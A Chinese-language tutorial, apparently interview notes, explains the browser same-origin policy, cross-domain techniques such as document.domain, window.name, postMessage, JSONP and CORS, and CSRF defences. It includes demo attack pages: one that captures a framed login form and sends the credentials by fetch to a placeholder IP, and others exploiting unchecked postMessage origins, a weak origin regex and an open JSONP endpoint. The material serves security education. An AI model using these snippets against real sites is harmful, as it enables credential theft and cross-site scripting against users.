跨域方式及产生的安全问题

前言

面试的时候,被很多师傅问到了这些问题,当时总结一下吧

同源策略

同源策略是一种约定,它是浏览器最核心也最基本的安全功能。以下特征被称之为同源

众所周知,同源策略需要满足三点:协议,域名,端口

同源策略有两种限制,第一种是限制了不同源之间的交互请求,例如,在使用XMLHttpRequest fetch 函数时则会受到同源策略的约束。第二种是限制浏览器中不同源的框架之间是不能进行js交互操作的。比如通过iframewindow.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。

注:

  • 对于<a> <script> <img> <video> <link>这类属性带有src,href的标签,允许跨域加载
  • 跨域请求可以发出,但是浏览器查看返回包发现跨域且无CORS头会丢弃,而且,不同子域之间默认是不同源的
  • IE 未将端口号加入到同源策略的组成部分之中,因此 company.com:81/index.htmlcompany.com/index.html 属于同源并且不受任何限制。(IE,,,现在估计很少用了吧)

作用

如果没有同源策略,所有页面之间都可以相互读取,javascript就拥有无穷的权利。


假设A页面是一个很敏感的登录系统,现在受害者先访问了我们伪造的B网页,然后诱导其登录A网页

为了假设没有同源策略,我以127.0.0.1:8001为页面A和127.0.0.1:8002为页面B。现实中两个不同子域默认不同源。可以直接在phpstudy中进行设置进行复现。只是少了一个域名,效果还是一样的。

aaa.evoa.me/login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- aaa.evoa.me/login.php -->
<body>
<div style="margin-left: 100px">
<form method="POST" id='form'>
用户名: <br/>
<input id=username type="text" name="username">
<br/>
密码: <br/>
<input id=password type="password" name="username">
<br/>
<input type="submit" value="提交">
</div>
</body>
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain="evoa.me"
</script>

bbb.evoa.me/evil.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- bbb.evoa.me/evil.php -->
<!-- 下面设置为了模拟假设没有同源策略 -->
<script>
document.domain = "evoa.me"
</script>
<iframe src="//aaa.evoa.me/login.php" id="iframe" width=100% height=100% frameborder=0>
</iframe>

<script>
var ifrw = document.getElementById('iframe').contentWindow;
document.getElementById('iframe').onload = function(){
ifrw.document.getElementById('form').onsubmit = function(){
var username = ifrw.document.getElementById('username').value;
var password = ifrw.document.getElementById('password').value;
fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password);
}
}
</script>

跨域传输数据的方式

document.domain

此方法针对的是同源策略的第二个限制,即不同窗口之间的同源限制。且此方法只能影响顶级域名相同子域名不同之间的同源规则。

不同子域名之间默认不同源(如aaa.evoa.me与bbb.evoa.me),但是可以通过设置document.domain为相同的更高级域名,来使不同子域同源。

aaa.evoa.me/1.php

1
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>

bbb.evoa.me/2.php

1
<h1>123</h1>

接下来修改document.domain进行一个操作:

aaa.evoa.me/1.php

1
2
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>document.domain = evoa.me</script>

bbb.evoa.me/2.php

1
2
<h1>123</h1>
<script>document.domain = evoa.me</script>
  • document.domain 只可以被设置为他的当前域或其当前域的父域,比如aaa.evoa.me可以设置document.domain为aaa.evoa.me 或 evoa.me,但是不能设置为aaa.evoa.com或者bbb.aaa.evoa.me

  • document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.evoa.me 仅设置document.domain为evoa.me 并不能与evoa.me进行通信,evoa.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患

  • 设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。

  • 同一窗体不同窗口之间(iframe中的或window.open打开的),是能够获取到彼此的window对象的,如iframe.contentWindow可以获取iframe的window对象,但是不同源的情况下这个window对象的大部分属性和方法是受限制的。

    如果某个子域为了和根域通信,根域设置了document.domain为根域,那么其他子域如果有xss漏洞可以直接跨同源攻击根域和同样设置了document.domain的其他子域

window.name

window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。

举个例子,页面有个iframe,iframe中的页面为A,无论iframe中的页面A地址怎么更改,这个iframe对象都是共享同一个window.name,A页面设置window.name,再将iframe的src设置为B页面,B页面中的JS脚本可以读取到之前A页面设置的window.name,简而言之,window.name几乎不受同源策略的影响

aaa.evoa.me/1.php

1
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>

bbb.evoa.me/2.php

1
2
3
<script>
window.name = "flag{this_is_flag}";
</script>

aaa.evoa.me/3.php

1
<script>    alert(window.name);</script>

首先,我们访问iframe中的name属性,浏览器返回了跨域访问拒绝。但是我们通过设置iframe的src为3.php (3.php可以不与1.php同域),在iframe中的所有页面共享window.name。然后3.php中的脚本访问到不同源的页面2.php并获取到了window.name

注:

  • window.name的值只能是字符串的形式,这个字符串的大小最大能允许2M左右甚至更大的一个容量,具体取决于不同的浏览器

所以,永远不要把敏感数据存在window.name中,否则敏感数据可以被任何其他网页的JS脚本获取

location.hash

location.hash其实就是 URL 的锚部分(从 # 号开始的部分)

具体原理是改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递。不同域下location.hash也是不能相互读取的

具体做法是,A域的页面a加载一个iframe,设置iframe的src为 B域的b页面+#传输给b的数据,此时b页面的js脚本可以通过读取location.hash获得页面a传过来的数据,然后在b页面再生成一个iframe,src指向A域的页面c+#传输给a的数据,由于页面c与页面a同域同源,所以页面c的脚本可以修改a的locaition.hash

PostMessage

window.postMessage() 方法可以安全地实现跨源通信,被调用时,会在所有页面脚本执行完毕之后向目标窗口派发一个 MessageEvent 消息。 该函数的第一个参数为发送的消息,第二个参数是匹配发送给的窗口的url地址(可以使用*,代表无限制通配),若目标url和此参数不匹配,消息就不会被发送。

被接受窗口则可以通过监听message事件来获取接受信息

例如:子窗口向父窗口传递数据

aaa.evoa.me/1.php

1
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe><script>    window.addEventListener('message',function(e){        alert(e.data);    })</script>

bbb.evoa.me/2.php

1
<script>    parent.postMessage('evoA','*');</script>

如果事件监听没有判断事件的来源,则会有很大的安全隐患,以下面为例

evoa.me/1.php

1
<?phpsetcookie("flag","flag{this_is_flag}");?><iframe id='iframe' src="//evoa.me/2.php"></iframe><h1 id="name"></h1><script>    window.addEventListener('message',function(e){        document.getElementById('name').innerHTML = e.data;    })</script>

本来1.php应该接受来自2.php传过来的数据,但由于监听事件并没有任何判断,所以我们可以构造恶意网页,构造iframe src指向evoa.me/1.php往里面传数据造成xss

evil.com/evil.php

1
<iframe id="iframe" src="//evoa.me/1.php"></iframe>

如果正则设置不当,依旧可能造成安全隐患

evoa.me/1.php

1
<?phpsetcookie("flag","flag{this_is_flag}");?><iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe><h1 id="name"></h1><script>    window.addEventListener('message',function(e){        if(/^http:\/\/.*evoa\.me$/.test(e.origin))        document.getElementById('name').innerHTML = e.data;    })</script>

正则设置有误,我们可以购买域名aaaevoa.me进行绕过

aaaevoa.me/evil.php

1
<iframe id="iframe" src="//evoa.me/1.php"></iframe>

jsonp

上面讲过<script>标签可以跨域加载资源,但是返回内容如果不符合JS语法同样无法获取数据,JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载

aaa.evoa.me/1.php

1
<script>function echoData(data) {    console.log("DATA: ", data);}</script><script src="//bbb.evoa.me/2.php?func=echoData"></script>

bbb.evoa.me/2.php

1
<?phpheader('Content-type: application/javascript');$func = $_REQUEST['func'] ?? "func";$data = '["aaa","bbb","ccc","ddd"]';echo $func . "(" . $data . ")";?>

1.php页面先设定好输出数据的函数,通过<script>标签请求2.php并带有函数名参数,2.php把数据当函数参数传入并根据函数名输出对应函数调用语句,1.php获得响应后自动调用函数即可获取数据

本来一个极其巧妙的数据传输方式,但如果配置有问题,则可能产生安全隐患,假如一个没有任何验证的JSONP接口,用来传输用户的敏感数据。

evoa.me/2.php

1
<?phpheader('Content-type: application/javascript');$func = $_REQUEST['func'] ?? "func";$data = "{'username':'evoA','password':'123456789'}";echo $func . "(" . $data . ")";?>

evil.com/evil.php

1
<script>function echoData(data) {    alert("username: " + data.username + "\n" + "password: "+ data.password);}</script><script src=//evoa.me/2.php?func=echoData></script>

如果未设置Content-type,会发生什么?

未设置Conten-type可以导致反射性XSS

CORS

比如说,假如站点 https://foo.example 的网页应用想要访问 https://bar.other 的资源。foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

1
const xhr = new XMLHttpRequest();const url = 'https://bar.other/resources/public-data/';xhr.open('GET', url);xhr.onreadystatechange = someHandler;xhr.send();

客户端和服务器之间使用 CORS 首部字段来处理权限:


以下是浏览器发送给服务器的请求报文:

1
GET /resources/public-data/ HTTP/1.1Host: bar.otherUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateConnection: keep-aliveOrigin: https://foo.example

请求首部字段 Origin 表明该请求来源于 http://foo.example

返回包如下:

1
HTTP/1.1 200 OKDate: Mon, 01 Dec 2008 00:23:53 GMTServer: Apache/2Access-Control-Allow-Origin: *Keep-Alive: timeout=2, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: application/xml[XML Data]

本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被 任意 外域访问。

CSRF的防御

emm,对于同源策略来看,我觉得主要还是为了防止CSRF的吧,所以说一说这里联系一起看一下。

  1. 增加验证码

    增加图形验证码或短信验证码等等,只有通过验证的请求才算合法。但是这种方案拥有两个局限性,一个是增加开发成本,另外一个是降低用户体验。

  2. cookies设置sameSite

    对于CSRF的第二个特点伪造请求的域名不是网站A,那么通过限制cookies不被其他域名网站使用,来达到防御的目的,具体的做法是

    cookies设置sameSite属性的值为strict,这样只有同源网站的请求才会带上cookies。但是此方案有浏览器兼容问题。

  3. 验证referer

    后端可以根据HTTP请求头的referer来判断请求是否来自可信任网站。但是这个方案也有局限性,攻击者可以设置请求不携带referer,所以这个方案适合用于辅助。

  4. 验证csrf token

    这是目前相对成熟的方案之一,具体的做法是:

    服务端随机生成token,保存在服务端session中,同时保存到客户端中,客户端发送请求时,把token带到HTTP请求头或参数中,服务端接收到请求,验证请求中的token与session中的是否一致。

    这个方案适用于前后端不分离的项目和前后端分离的项目,对于前后端不分离的项目,token可以直接在编译模板的过程中写到表单的隐藏字段中,这样发送请求不需要额外的操作;而对于前后端分离的项目,token可以在登录时写入到cookies中,发送请求时,js读取cookies中的token,并设置到HTTP请求头中。

  5. 更换登录态方案

因为CSRF本质是伪造请求携带了保存在cookies中的信息,所以对session机制的登录态比较不利,如果更换JWT(JSON Web Token)方案,其token信息一般设置到HTTP头部的,所以可以防御CSRF攻击

  1. 对开始的网站加一个一个 sign

参考文章

https://xz.aliyun.com/t/4470#toc-5

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

https://blog.csdn.net/weixin_39850143/article/details/112754637